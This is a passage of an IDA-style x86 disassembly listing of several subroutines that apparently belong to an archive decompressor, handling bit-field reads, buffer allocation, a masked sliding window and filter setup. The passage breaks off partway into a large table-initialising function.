; ---------------------------------------------------------------------------


loc_9B0D60:				; CODE XREF: sub_9B0AAE+152j
					; sub_9B0AAE+23Dj
		xor	eax, eax
		jmp	short loc_9B0D5B
sub_9B0AAE	endp


; =============== S U B	R O U T	I N E =======================================



sub_9B0D64	proc near		; CODE XREF: sub_9B1547+723p

arg_0		= dword	ptr  4

		push	ebx
		push	edi
		push	esi
		xor	ebx, ebx
		call	sub_9B04B6
		test	ah, ah
		pop	ecx
		jns	short loc_9B0D79
		xor	edi, edi
		inc	edi
		push	edi
		jmp	short loc_9B0D85
; ---------------------------------------------------------------------------


loc_9B0D79:				; CODE XREF: sub_9B0D64+Dj
		xor	ebx, ebx
		inc	ebx
		and	eax, 4000h
		mov	edi, eax
		push	2


loc_9B0D85:				; CODE XREF: sub_9B0D64+13j
		push	esi
		call	sub_9B0493
		xor	eax, eax
		test	edi, edi
		setz	al
		test	ebx, ebx
		pop	ecx
		pop	ecx
		mov	[esi+408014h], eax
		jnz	short loc_9B0DB7
		test	edi, edi
		jz	short loc_9B0DB2
		push	[esp+8+arg_0]
		mov	eax, esi
		call	sub_9B0AAE
		test	eax, eax
		pop	ecx
		jz	short loc_9B0DB7


loc_9B0DB2:				; CODE XREF: sub_9B0D64+3Cj
		xor	eax, eax
		inc	eax
		jmp	short loc_9B0DB9
; ---------------------------------------------------------------------------


loc_9B0DB7:				; CODE XREF: sub_9B0D64+38j
					; sub_9B0D64+4Cj
		xor	eax, eax


loc_9B0DB9:				; CODE XREF: sub_9B0D64+51j
		pop	edi
		pop	ebx
		retn
sub_9B0D64	endp


; =============== S U B	R O U T	I N E =======================================



sub_9B0DBC	proc near		; CODE XREF: sub_9B0E04+36p
					; sub_9B143F+C5p ...

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	edi
		lea	edi, [esi+40D7B0h]
		mov	eax, [edi]
		test	eax, eax
		jz	short loc_9B0DD9
		push	eax		; Memory
		call	free
		and	dword ptr [edi], 0
		pop	ecx


loc_9B0DD9:				; CODE XREF: sub_9B0DBC+10j
		and	dword ptr [esi+40D7B8h], 0
		and	dword ptr [esi+40D7B4h], 0
		lea	eax, [esi+40D7A0h]
		push	eax
		call	sub_9B2510
		add	esi, 40D7A8h
		push	esi
		call	sub_9B2510
		pop	ecx
		pop	ecx
		pop	edi
		pop	esi
		retn
sub_9B0DBC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_9B0E04(char,void *Src)

sub_9B0E04	proc near		; CODE XREF: sub_9B128A+BDp
					; sub_9B1364+BEp

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= byte ptr  8
Src		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		push	ebx
		xor	ebx, ebx
		test	[ebp+arg_0], 80h
		push	esi
		mov	[ebp+var_20], eax
		mov	eax, [ebp+Src]
		push	edi
		mov	edi, ecx
		mov	[ebp+var_1C], eax
		mov	[ebp+var_18], ebx
		mov	[ebp+var_14], ebx
		jz	short loc_9B0E48
		lea	eax, [ebp+var_20]
		push	eax
		call	sub_9B3AA1
		mov	esi, eax
		cmp	esi, ebx
		pop	ecx
		mov	[ebp+var_4], esi
		jnz	short loc_9B0E42
		push	edi
		call	sub_9B0DBC
		pop	ecx
		jmp	short loc_9B0E53
; ---------------------------------------------------------------------------


loc_9B0E42:				; CODE XREF: sub_9B0E04+33j
		dec	esi
		mov	[ebp+var_4], esi
		jmp	short loc_9B0E53
; ---------------------------------------------------------------------------


loc_9B0E48:				; CODE XREF: sub_9B0E04+20j
		mov	eax, [edi+40D7B4h]
		mov	[ebp+var_4], eax
		mov	esi, eax


loc_9B0E53:				; CODE XREF: sub_9B0E04+3Cj
					; sub_9B0E04+42j
		mov	eax, [edi+40D7A4h]
		cmp	esi, eax
		ja	loc_9B1126
		cmp	esi, [edi+40D7B8h]
		ja	loc_9B1126
		xor	ecx, ecx
		cmp	esi, eax
		setz	cl
		mov	[edi+40D7B4h], esi
		cmp	ecx, ebx
		mov	[ebp+var_10], ecx
		jz	short loc_9B0EFE
		lea	esi, [edi+40D7A0h]
		push	1
		push	esi
		call	sub_9B2463
		test	eax, eax
		pop	ecx
		pop	ecx
		jz	loc_9B1126
		call	sub_9B2497
		mov	ecx, [esi]
		mov	ebx, eax
		mov	eax, [edi+40D7A4h]
		mov	[ecx+eax*4-4], ebx
		mov	eax, [edi+40D7A4h]
		mov	ecx, [esi]
		cmp	dword ptr [ecx+eax*4-4], 0
		mov	[ebp+var_8], ebx
		jz	loc_9B1126
		inc	dword ptr [edi+40D7B8h]
		mov	eax, [edi+40D7B8h]
		shl	eax, 2
		push	eax		; NewSize
		lea	esi, [edi+40D7B0h]
		push	dword ptr [esi]	; Memory
		call	sub_9B2565
		test	eax, eax
		pop	ecx
		pop	ecx
		mov	[esi], eax
		jz	loc_9B1126
		mov	ecx, [edi+40D7B8h]
		and	dword ptr [eax+ecx*4-4], 0
		and	dword ptr [ebx+8], 0
		xor	ebx, ebx
		jmp	short loc_9B0F0D
; ---------------------------------------------------------------------------


loc_9B0EFE:				; CODE XREF: sub_9B0E04+7Bj
		mov	eax, [edi+40D7A0h]
		mov	esi, [eax+esi*4]
		inc	dword ptr [esi+8]
		mov	[ebp+var_8], esi


loc_9B0F0D:				; CODE XREF: sub_9B0E04+F8j
		call	sub_9B2497
		mov	esi, eax
		xor	eax, eax
		cmp	[edi+40D7ACh], ebx
		mov	[ebp+var_C], ebx
		mov	[ebp+Src], eax
		jbe	short loc_9B0F63
		lea	ebx, [edi+40D7A8h]


loc_9B0F2A:				; CODE XREF: sub_9B0E04+159j
		mov	ecx, [ebx]
		mov	ecx, [ecx+eax*4]
		mov	edx, eax
		sub	edx, [ebp+var_C]
		mov	eax, [ebx]
		mov	[eax+edx*4], ecx
		mov	ecx, [ebx]
		mov	eax, [ebp+Src]
		lea	ecx, [ecx+eax*4]
		cmp	dword ptr [ecx], 0
		jnz	short loc_9B0F49
		inc	[ebp+var_C]


loc_9B0F49:				; CODE XREF: sub_9B0E04+140j
		mov	edx, [ebp+var_C]
		test	edx, edx
		jle	short loc_9B0F53
		and	dword ptr [ecx], 0


loc_9B0F53:				; CODE XREF: sub_9B0E04+14Aj
		inc	eax
		cmp	eax, [edi+40D7ACh]
		mov	[ebp+Src], eax
		jb	short loc_9B0F2A
		test	edx, edx
		jnz	short loc_9B0F76


loc_9B0F63:				; CODE XREF: sub_9B0E04+11Ej
		lea	ebx, [edi+40D7A8h]
		push	1
		push	ebx
		call	sub_9B2463
		pop	ecx
		xor	edx, edx
		pop	ecx
		inc	edx


loc_9B0F76:				; CODE XREF: sub_9B0E04+15Dj
		mov	eax, [edi+40D7ACh]
		mov	ecx, [ebx]
		mov	ebx, [ebp+var_8]
		sub	eax, edx
		mov	[ecx+eax*4], esi
		mov	eax, [ebx+8]
		mov	[esi+8], eax
		lea	eax, [ebp+var_20]
		push	eax
		call	sub_9B3AA1
		test	[ebp+arg_0], 40h
		pop	ecx
		mov	[ebp+Src], eax
		jz	short loc_9B0FA6
		add	[ebp+Src], 102h


loc_9B0FA6:				; CODE XREF: sub_9B0E04+199j
		mov	eax, [edi+40800Ch]
		add	eax, [ebp+Src]
		and	eax, 3FFFFFh
		test	[ebp+arg_0], 20h
		mov	[esi], eax
		jz	short loc_9B0FCB
		lea	eax, [ebp+var_20]
		push	eax
		call	sub_9B3AA1
		pop	ecx
		mov	ecx, [ebp+var_4]
		jmp	short loc_9B0FE3
; ---------------------------------------------------------------------------


loc_9B0FCB:				; CODE XREF: sub_9B0E04+1B6j
		mov	ecx, [ebp+var_4]
		cmp	ecx, [edi+40D7B8h]
		jnb	short loc_9B0FE1
		mov	eax, [edi+40D7B0h]
		mov	eax, [eax+ecx*4]
		jmp	short loc_9B0FE3
; ---------------------------------------------------------------------------


loc_9B0FE1:				; CODE XREF: sub_9B0E04+1D0j
		xor	eax, eax


loc_9B0FE3:				; CODE XREF: sub_9B0E04+1C5j
					; sub_9B0E04+1DBj
		mov	[esi+4], eax
		mov	eax, [edi+408010h]
		mov	edx, [edi+40800Ch]
		cmp	eax, edx
		jz	short loc_9B1007
		sub	eax, edx
		and	eax, 3FFFFFh
		cmp	eax, [ebp+Src]
		ja	short loc_9B1007
		xor	eax, eax
		inc	eax
		jmp	short loc_9B1009
; ---------------------------------------------------------------------------


loc_9B1007:				; CODE XREF: sub_9B0E04+1F0j
					; sub_9B0E04+1FCj
		xor	eax, eax


loc_9B1009:				; CODE XREF: sub_9B0E04+201j
		mov	edx, [esi+4]
		mov	[esi+0Ch], eax
		mov	eax, [edi+40D7B0h]
		push	1Ch		; Size
		mov	[eax+ecx*4], edx
		lea	eax, [esi+34h]
		push	0		; Val
		push	eax		; Dst
		call	memset
		mov	eax, [esi+4]
		mov	[esi+44h], eax
		mov	eax, [esi+8]
		add	esp, 0Ch
		test	[ebp+arg_0], 10h
		mov	dword ptr [esi+40h], 3C000h
		mov	[esi+48h], eax
		jz	short loc_9B1092
		lea	eax, [ebp+var_20]
		push	eax
		call	sub_9B3A73
		mov	ebx, eax
		lea	eax, [ebp+var_20]
		push	7
		push	eax
		shr	ebx, 9
		call	sub_9B3A59
		lea	eax, [esi+34h]
		add	esp, 0Ch
		and	[ebp+Src], 0
		mov	[ebp+var_C], eax


loc_9B1067:				; CODE XREF: sub_9B0E04+289j
		mov	ecx, [ebp+Src]
		xor	eax, eax
		inc	eax
		shl	eax, cl
		test	eax, ebx
		jz	short loc_9B1082
		lea	eax, [ebp+var_20]
		push	eax
		call	sub_9B3AA1
		pop	ecx
		mov	ecx, [ebp+var_C]
		mov	[ecx], eax


loc_9B1082:				; CODE XREF: sub_9B0E04+26Dj
		inc	[ebp+Src]
		add	[ebp+var_C], 4
		cmp	[ebp+Src], 7
		jl	short loc_9B1067
		mov	ebx, [ebp+var_8]


loc_9B1092:				; CODE XREF: sub_9B0E04+23Bj
		cmp	[ebp+var_10], 0
		jz	loc_9B1137
		lea	eax, [ebp+var_20]
		push	eax
		call	sub_9B3AA1
		cmp	eax, 1000h
		pop	ecx
		mov	[ebp+var_C], eax
		jge	short loc_9B1126
		test	eax, eax
		jz	short loc_9B1126
		cmp	eax, [ebp+var_1C]
		jg	short loc_9B1126
		test	eax, eax
		jl	short loc_9B1126
		push	eax		; Size
		call	sub_9B254A
		test	eax, eax
		pop	ecx
		mov	[ebp+Src], eax
		jz	short loc_9B1126
		xor	ebx, ebx
		cmp	[ebp+var_C], ebx
		jle	short loc_9B10F8


loc_9B10D2:				; CODE XREF: sub_9B0E04+2F2j
		lea	eax, [ebp+var_20]
		push	eax
		call	sub_9B3A73
		mov	ecx, [ebp+Src]
		shr	eax, 8
		mov	[ecx+ebx], al
		lea	eax, [ebp+var_20]
		push	8
		push	eax
		call	sub_9B3A59
		add	esp, 0Ch
		inc	ebx
		cmp	ebx, [ebp+var_C]
		jl	short loc_9B10D2


loc_9B10F8:				; CODE XREF: sub_9B0E04+2CCj
		mov	eax, [ebp+var_8]
		add	eax, 10h
		push	eax		; int
		push	[ebp+var_C]	; int
		lea	eax, [ebp+var_20]
		push	[ebp+Src]	; Src
		add	edi, 40D7CCh
		push	eax		; int
		push	edi		; int
		call	sub_9B4C4B
		add	esp, 14h
		test	eax, eax
		push	[ebp+Src]	; Memory
		jnz	short loc_9B112D
		call	free
		pop	ecx


loc_9B1126:				; CODE XREF: sub_9B0E04+57j
					; sub_9B0E04+63j ...
		xor	eax, eax


loc_9B1128:				; CODE XREF: sub_9B0E04+481j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_9B112D:				; CODE XREF: sub_9B0E04+319j
		call	free
		mov	ebx, [ebp+var_8]
		pop	ecx


loc_9B1137:				; CODE XREF: sub_9B0E04+292j
		mov	eax, [ebx+10h]
		mov	[esi+18h], eax
		mov	eax, [ebx+30h]
		mov	[esi+30h], eax
		mov	edi, [ebx+2Ch]
		test	edi, edi
		jle	short loc_9B116D
		cmp	edi, 2000h
		jge	short loc_9B116D
		push	edi		; Size
		call	sub_9B254A
		test	eax, eax
		pop	ecx
		mov	[esi+20h], eax
		jz	short loc_9B1126
		push	edi		; Size
		push	dword ptr [ebx+20h] ; Src
		push	eax		; Dst
		call	memcpy
		add	esp, 0Ch


loc_9B116D:				; CODE XREF: sub_9B0E04+344j
					; sub_9B0E04+34Cj
		push	40h
		pop	edi
		cmp	[esi+28h], edi
		jge	short loc_9B119C
		push	dword ptr [esi+1Ch] ; Memory
		call	free
		push	edi		; Size
		call	sub_9B254A
		test	eax, eax
		pop	ecx
		pop	ecx
		mov	[esi+1Ch], eax
		jz	short loc_9B1126
		push	edi		; Size
		push	0		; Val
		push	eax		; Dst
		call	memset
		add	esp, 0Ch
		mov	[esi+28h], edi


loc_9B119C:				; CODE XREF: sub_9B0E04+36Fj
		mov	edi, [esi+1Ch]
		mov	[ebp+Src], edi
		lea	ebx, [esi+34h]
		mov	[ebp+var_10], 7


loc_9B11AC:				; CODE XREF: sub_9B0E04+3C1j
		push	dword ptr [ebx]
		push	[ebp+Src]
		push	0
		call	sub_9B39C6
		add	[ebp+Src], 4
		add	esp, 0Ch
		add	ebx, 4
		dec	[ebp+var_10]
		jnz	short loc_9B11AC
		push	dword ptr [esi+4]
		lea	eax, [edi+1Ch]
		push	eax
		xor	ebx, ebx
		push	ebx
		call	sub_9B39C6
		push	ebx
		lea	eax, [edi+20h]
		push	eax
		push	ebx
		call	sub_9B39C6
		push	dword ptr [esi+8]
		lea	eax, [edi+2Ch]
		push	eax
		push	ebx
		call	sub_9B39C6
		push	10h		; Size
		push	ebx		; Val
		add	edi, 30h
		push	edi		; Dst
		call	memset
		add	esp, 30h
		test	[ebp+arg_0], 8
		jz	short loc_9B1282
		lea	eax, [ebp+var_20]
		push	eax
		call	sub_9B3AA1
		mov	edi, eax
		cmp	edi, 10000h
		pop	ecx
		jge	loc_9B1126
		mov	eax, [esi+28h]
		lea	ecx, [edi+40h]
		cmp	eax, ecx
		jnb	short loc_9B1247
		mov	ecx, edi
		sub	ecx, eax
		add	ecx, 40h
		add	[esi+28h], ecx
		push	dword ptr [esi+28h] ; NewSize
		push	dword ptr [esi+1Ch] ; Memory
		call	sub_9B2565
		cmp	eax, ebx
		pop	ecx
		pop	ecx
		mov	[esi+1Ch], eax
		jz	loc_9B1126


loc_9B1247:				; CODE XREF: sub_9B0E04+41Fj
		mov	esi, [esi+1Ch]
		add	esi, 40h
		cmp	edi, ebx
		jle	short loc_9B1282


loc_9B1251:				; CODE XREF: sub_9B0E04+47Cj
		mov	eax, [ebp+var_18]
		add	eax, 2
		cmp	eax, [ebp+var_1C]
		jg	loc_9B1126
		lea	eax, [ebp+var_20]
		push	eax
		call	sub_9B3A73
		shr	eax, 8
		mov	[esi+ebx], al
		lea	eax, [ebp+var_20]
		push	8
		push	eax
		call	sub_9B3A59
		add	esp, 0Ch
		inc	ebx
		cmp	ebx, edi
		jl	short loc_9B1251


loc_9B1282:				; CODE XREF: sub_9B0E04+3FDj
					; sub_9B0E04+44Bj
		xor	eax, eax
		inc	eax
		jmp	loc_9B1128
sub_9B0E04	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_9B128A	proc near		; CODE XREF: sub_9B1547+74Dp

Memory		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		push	edi
		call	sub_9B04B6
		mov	ebx, eax
		push	8
		push	edi
		shr	ebx, 8
		call	sub_9B0493
		mov	esi, ebx
		and	esi, 7
		add	esp, 0Ch
		inc	esi
		cmp	esi, 7
		jnz	short loc_9B12C4
		push	edi
		call	sub_9B04B6
		mov	esi, eax
		shr	esi, 8
		add	esi, 7
		push	8
		jmp	short loc_9B12D3
; ---------------------------------------------------------------------------


loc_9B12C4:				; CODE XREF: sub_9B128A+26j
		cmp	esi, 8
		jnz	short loc_9B12DC
		push	edi
		call	sub_9B04B6
		mov	esi, eax
		push	10h


loc_9B12D3:				; CODE XREF: sub_9B128A+38j
		push	edi
		call	sub_9B0493
		add	esp, 0Ch


loc_9B12DC:				; CODE XREF: sub_9B128A+3Dj
		lea	eax, [esi+2]
		push	eax		; Size
		call	sub_9B254A
		test	eax, eax
		pop	ecx
		mov	[ebp+Memory], eax
		jz	short loc_9B1360
		and	[ebp+var_4], 0
		test	esi, esi
		jle	short loc_9B1340


loc_9B12F5:				; CODE XREF: sub_9B128A+B4j
		mov	eax, [edi+408018h]
		dec	eax
		cmp	[edi+408004h], eax
		jl	short loc_9B131B
		push	edi
		push	[ebp+arg_0]
		call	sub_9B04E9
		test	eax, eax
		pop	ecx
		pop	ecx
		jnz	short loc_9B131B
		lea	eax, [esi-1]
		cmp	[ebp+var_4], eax
		jl	short loc_9B1360


loc_9B131B:				; CODE XREF: sub_9B128A+78j
					; sub_9B128A+87j
		push	edi
		call	sub_9B04B6
		mov	ecx, [ebp+var_4]
		mov	edx, [ebp+Memory]
		shr	eax, 8
		push	8
		push	edi
		mov	[ecx+edx], al
		call	sub_9B0493
		add	esp, 0Ch
		inc	[ebp+var_4]
		cmp	[ebp+var_4], esi
		jl	short loc_9B12F5


loc_9B1340:				; CODE XREF: sub_9B128A+69j
		mov	eax, [ebp+Memory]
		push	esi		; Src
		push	ebx		; char
		mov	ecx, edi
		call	sub_9B0E04
		push	[ebp+Memory]	; Memory
		mov	esi, eax
		call	free
		add	esp, 0Ch
		mov	eax, esi


loc_9B135C:				; CODE XREF: sub_9B128A+D8j
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_9B1360:				; CODE XREF: sub_9B128A+61j
					; sub_9B128A+8Fj
		xor	eax, eax
		jmp	short loc_9B135C
sub_9B128A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_9B1364	proc near		; CODE XREF: sub_9B1547+525p

var_C		= byte ptr -0Ch
Memory		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		push	[ebp+arg_0]
		lea	ebx, [edi+408B10h]
		push	ebx
		call	sub_9B37F8
		mov	esi, eax
		add	esp, 0Ch
		cmp	esi, 0FFFFFFFFh
		mov	dword ptr [ebp+var_C], esi
		jz	short loc_9B13EA
		and	esi, 7
		inc	esi
		cmp	esi, 7
		jnz	short loc_9B13A9
		push	edi
		push	[ebp+arg_0]
		push	ebx
		call	sub_9B37F8
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		jz	short loc_9B13EA
		lea	esi, [eax+7]
		jmp	short loc_9B13D9
; ---------------------------------------------------------------------------


loc_9B13A9:				; CODE XREF: sub_9B1364+2Cj
		cmp	esi, 8
		jnz	short loc_9B13D9
		push	edi
		push	[ebp+arg_0]
		push	ebx
		call	sub_9B37F8
		mov	esi, eax
		add	esp, 0Ch
		cmp	esi, 0FFFFFFFFh
		jz	short loc_9B13EA
		push	edi
		push	[ebp+arg_0]
		push	ebx
		call	sub_9B37F8
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		jz	short loc_9B13EA
		shl	esi, 8
		add	esi, eax


loc_9B13D9:				; CODE XREF: sub_9B1364+43j
					; sub_9B1364+48j
		lea	eax, [esi+2]
		push	eax		; Size
		call	sub_9B254A
		test	eax, eax
		pop	ecx
		mov	[ebp+Memory], eax
		jnz	short loc_9B13EE


loc_9B13EA:				; CODE XREF: sub_9B1364+23j
					; sub_9B1364+3Ej ...
		xor	eax, eax
		jmp	short loc_9B1437
; ---------------------------------------------------------------------------


loc_9B13EE:				; CODE XREF: sub_9B1364+84j
		and	[ebp+var_4], 0
		test	esi, esi
		jle	short loc_9B1419


loc_9B13F6:				; CODE XREF: sub_9B1364+B3j
		push	edi
		push	[ebp+arg_0]
		push	ebx
		call	sub_9B37F8
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		jz	short loc_9B143B
		mov	edx, [ebp+var_4]
		inc	[ebp+var_4]
		cmp	[ebp+var_4], esi
		mov	ecx, [ebp+Memory]
		mov	[edx+ecx], al
		jl	short loc_9B13F6


loc_9B1419:				; CODE XREF: sub_9B1364+90j
		mov	eax, [ebp+Memory]
		push	esi		; Src
		push	dword ptr [ebp+var_C] ;	char
		mov	ecx, edi
		call	sub_9B0E04
		pop	ecx
		pop	ecx
		mov	esi, eax


loc_9B142B:				; CODE XREF: sub_9B1364+D9j
		push	[ebp+Memory]	; Memory
		call	free
		pop	ecx
		mov	eax, esi


loc_9B1437:				; CODE XREF: sub_9B1364+88j
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_9B143B:				; CODE XREF: sub_9B1364+A2j
		xor	esi, esi
		jmp	short loc_9B142B
sub_9B1364	endp


; =============== S U B	R O U T	I N E =======================================



sub_9B143F	proc near		; CODE XREF: sub_9B1547+429p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, [esp+4+arg_4]
		push	edi
		xor	edi, edi
		cmp	[esp+8+arg_0], edi
		jnz	loc_9B150C
		push	10h		; Size
		lea	eax, [esi+408AF4h]
		push	edi		; Val
		push	eax		; Dst
		mov	[esi+408014h], edi
		call	memset
		push	194h		; Size
		lea	eax, [esi+40802Ch]
		push	edi		; Val
		push	eax		; Dst
		mov	[esi+408B04h], edi
		call	memset
		push	530h		; Size
		lea	eax, [esi+4081C0h]
		push	edi		; Val
		push	eax		; Dst
		call	memset
		push	174h		; Size
		lea	eax, [esi+4086F0h]
		push	edi		; Val
		push	eax		; Dst
		call	memset
		push	0C8h		; Size
		lea	eax, [esi+408864h]
		push	edi		; Val
		push	eax		; Dst
		call	memset
		push	0F4h		; Size
		lea	eax, [esi+40892Ch]
		push	edi		; Val
		push	eax		; Dst
		call	memset
		add	esp, 48h
		push	0D4h		; Size
		lea	eax, [esi+408A20h]
		push	edi		; Val
		push	eax		; Dst
		call	memset
		push	esi
		mov	[esi+408B08h], edi
		mov	[esi+408B0Ch], edi
		mov	dword ptr [esi+40D79Ch], 2
		mov	[esi+40800Ch], edi
		mov	[esi+408010h], edi
		mov	[esi+408020h], edi
		call	sub_9B0DBC
		add	esp, 10h


loc_9B150C:				; CODE XREF: sub_9B143F+Cj
		lea	eax, [esi+40D7CCh]
		push	eax
		mov	[esi+408008h], edi
		mov	[esi+408004h], edi
		mov	[esi+408018h], edi
		mov	[esi+40801Ch], edi
		mov	[esi+40D7BCh], edi
		mov	[esi+40D7C0h], edi
		call	sub_9B3A22
		or	dword ptr [esi+40D7F4h], 0FFFFFFFFh
		pop	ecx
		pop	edi
		pop	esi
		retn
sub_9B143F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame fpd=70h


sub_9B1547	proc near		; CODE XREF: sub_9B1DD3+15p

var_188		= dword	ptr -188h
var_184		= dword	ptr -184h
var_180		= dword	ptr -180h
var_17C		= dword	ptr -17Ch
var_178		= dword	ptr -178h
var_174		= dword	ptr -174h
var_170		= dword	ptr -170h
var_16C		= dword	ptr -16Ch
var_168		= dword	ptr -168h
var_164		= dword	ptr -164h
var_160		= dword	ptr -160h
var_15C		= dword	ptr -15Ch
var_158		= dword	ptr -158h
var_154		= dword	ptr -154h
var_150		= dword	ptr -150h
var_14C		= dword	ptr -14Ch
var_148		= dword	ptr -148h
var_144		= dword	ptr -144h
var_140		= dword	ptr -140h
var_13C		= dword	ptr -13Ch
var_138		= dword	ptr -138h
var_134		= dword	ptr -134h
var_130		= dword	ptr -130h
var_12C		= dword	ptr -12Ch
var_128		= dword	ptr -128h
var_124		= dword	ptr -124h
var_120		= dword	ptr -120h
var_11C		= dword	ptr -11Ch
var_118		= dword	ptr -118h
var_114		= dword	ptr -114h
var_110		= dword	ptr -110h
var_10C		= dword	ptr -10Ch
var_108		= dword	ptr -108h
var_104		= dword	ptr -104h
var_100		= dword	ptr -100h
var_FC		= dword	ptr -0FCh
var_F8		= dword	ptr -0F8h
var_F4		= dword	ptr -0F4h
var_F0		= dword	ptr -0F0h
var_EC		= dword	ptr -0ECh
var_E8		= dword	ptr -0E8h
var_E4		= dword	ptr -0E4h
var_E0		= dword	ptr -0E0h
var_DC		= dword	ptr -0DCh
var_D8		= dword	ptr -0D8h
var_D4		= dword	ptr -0D4h
var_D0		= dword	ptr -0D0h
var_CC		= dword	ptr -0CCh
var_C8		= dword	ptr -0C8h
var_C4		= dword	ptr -0C4h
var_C0		= dword	ptr -0C0h
var_BC		= dword	ptr -0BCh
var_B8		= dword	ptr -0B8h
var_B4		= dword	ptr -0B4h
var_B0		= dword	ptr -0B0h
var_AC		= dword	ptr -0ACh
var_A8		= dword	ptr -0A8h
var_A4		= dword	ptr -0A4h
var_A0		= dword	ptr -0A0h
var_9C		= dword	ptr -9Ch
var_98		= dword	ptr -98h
var_94		= byte ptr -94h
var_93		= byte ptr -93h
var_92		= byte ptr -92h
var_91		= byte ptr -91h
var_90		= byte ptr -90h
var_8F		= byte ptr -8Fh
var_8E		= byte ptr -8Eh
var_8D		= byte ptr -8Dh
var_8C		= byte ptr -8Ch
var_8B		= byte ptr -8Bh
var_8A		= byte ptr -8Ah
var_89		= byte ptr -89h
var_88		= byte ptr -88h
var_87		= byte ptr -87h
var_86		= byte ptr -86h
var_85		= byte ptr -85h
var_84		= byte ptr -84h
var_83		= byte ptr -83h
var_82		= byte ptr -82h
var_81		= byte ptr -81h
var_80		= byte ptr -80h
var_7F		= byte ptr -7Fh
var_7E		= byte ptr -7Eh
var_7D		= byte ptr -7Dh
var_7C		= byte ptr -7Ch
var_7B		= byte ptr -7Bh
var_7A		= byte ptr -7Ah
var_79		= byte ptr -79h
var_78		= byte ptr -78h
var_77		= byte ptr -77h
var_76		= byte ptr -76h
var_75		= byte ptr -75h
var_74		= byte ptr -74h
var_73		= byte ptr -73h
var_72		= byte ptr -72h
var_71		= byte ptr -71h
var_70		= byte ptr -70h
var_6F		= byte ptr -6Fh
var_6E		= byte ptr -6Eh
var_6D		= byte ptr -6Dh
var_6C		= byte ptr -6Ch
var_6B		= byte ptr -6Bh
var_6A		= byte ptr -6Ah
var_69		= byte ptr -69h
var_68		= byte ptr -68h
var_67		= byte ptr -67h
var_66		= byte ptr -66h
var_65		= byte ptr -65h
var_64		= byte ptr -64h
var_63		= byte ptr -63h
var_62		= byte ptr -62h
var_61		= byte ptr -61h
var_60		= byte ptr -60h
var_5F		= byte ptr -5Fh
var_5E		= byte ptr -5Eh
var_5D		= byte ptr -5Dh
var_5C		= byte ptr -5Ch
var_5B		= byte ptr -5Bh
var_5A		= byte ptr -5Ah
var_59		= byte ptr -59h
var_58		= byte ptr -58h
var_57		= byte ptr -57h
var_56		= byte ptr -56h
var_55		= byte ptr -55h
var_54		= byte ptr -54h
var_53		= byte ptr -53h
var_52		= byte ptr -52h
var_51		= byte ptr -51h
var_50		= byte ptr -50h
var_4F		= byte ptr -4Fh
var_4E		= byte ptr -4Eh
var_4D		= byte ptr -4Dh
var_4C		= byte ptr -4Ch
var_4B		= byte ptr -4Bh
var_4A		= byte ptr -4Ah
var_49		= byte ptr -49h
var_48		= byte ptr -48h
var_47		= byte ptr -47h
var_46		= byte ptr -46h
var_45		= byte ptr -45h
var_44		= byte ptr -44h
var_43		= byte ptr -43h
var_42		= byte ptr -42h
var_41		= byte ptr -41h
var_40		= byte ptr -40h
var_3F		= byte ptr -3Fh
var_3E		= byte ptr -3Eh
var_3D		= byte ptr -3Dh
var_3C		= byte ptr -3Ch
var_3B		= byte ptr -3Bh
var_3A		= byte ptr -3Ah
var_39		= byte ptr -39h
var_38		= byte ptr -38h
var_37		= byte ptr -37h
var_36		= byte ptr -36h
var_35		= byte ptr -35h
var_34		= byte ptr -34h
var_33		= byte ptr -33h
var_32		= byte ptr -32h
var_31		= byte ptr -31h
var_30		= byte ptr -30h
var_2F		= byte ptr -2Fh
var_2E		= byte ptr -2Eh
var_2D		= byte ptr -2Dh
var_2C		= byte ptr -2Ch
var_2B		= byte ptr -2Bh
var_2A		= byte ptr -2Ah
var_29		= byte ptr -29h
var_28		= byte ptr -28h
var_27		= byte ptr -27h
var_26		= byte ptr -26h
var_25		= byte ptr -25h
var_24		= byte ptr -24h
var_23		= byte ptr -23h
var_22		= byte ptr -22h
var_21		= byte ptr -21h
var_20		= byte ptr -20h
var_1F		= byte ptr -1Fh
var_1E		= byte ptr -1Eh
var_1D		= byte ptr -1Dh
var_1C		= byte ptr -1Ch
var_1B		= byte ptr -1Bh
var_1A		= byte ptr -1Ah
var_19		= byte ptr -19h
var_18		= byte ptr -18h
var_17		= byte ptr -17h
var_16		= byte ptr -16h
var_15		= byte ptr -15h
var_14		= byte ptr -14h
var_13		= byte ptr -13h
var_12		= byte ptr -12h
var_11		= byte ptr -11h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		lea	ebp, [esp-70h]
		sub	esp, 188h
		push	ebx
		xor	ebx, ebx
		push	edi
		mov	edi, eax
		xor	eax, eax
		inc	eax
		mov	[ebp+70h+var_3C], bl
		mov	[ebp+70h+var_3B], 1
		mov	[ebp+70h+var_3A], 2
		mov	[ebp+70h+var_39], 3
		mov	[ebp+70h+var_38], 4
		mov	[ebp+70h+var_37], 5
		mov	[ebp+70h+var_36], 6
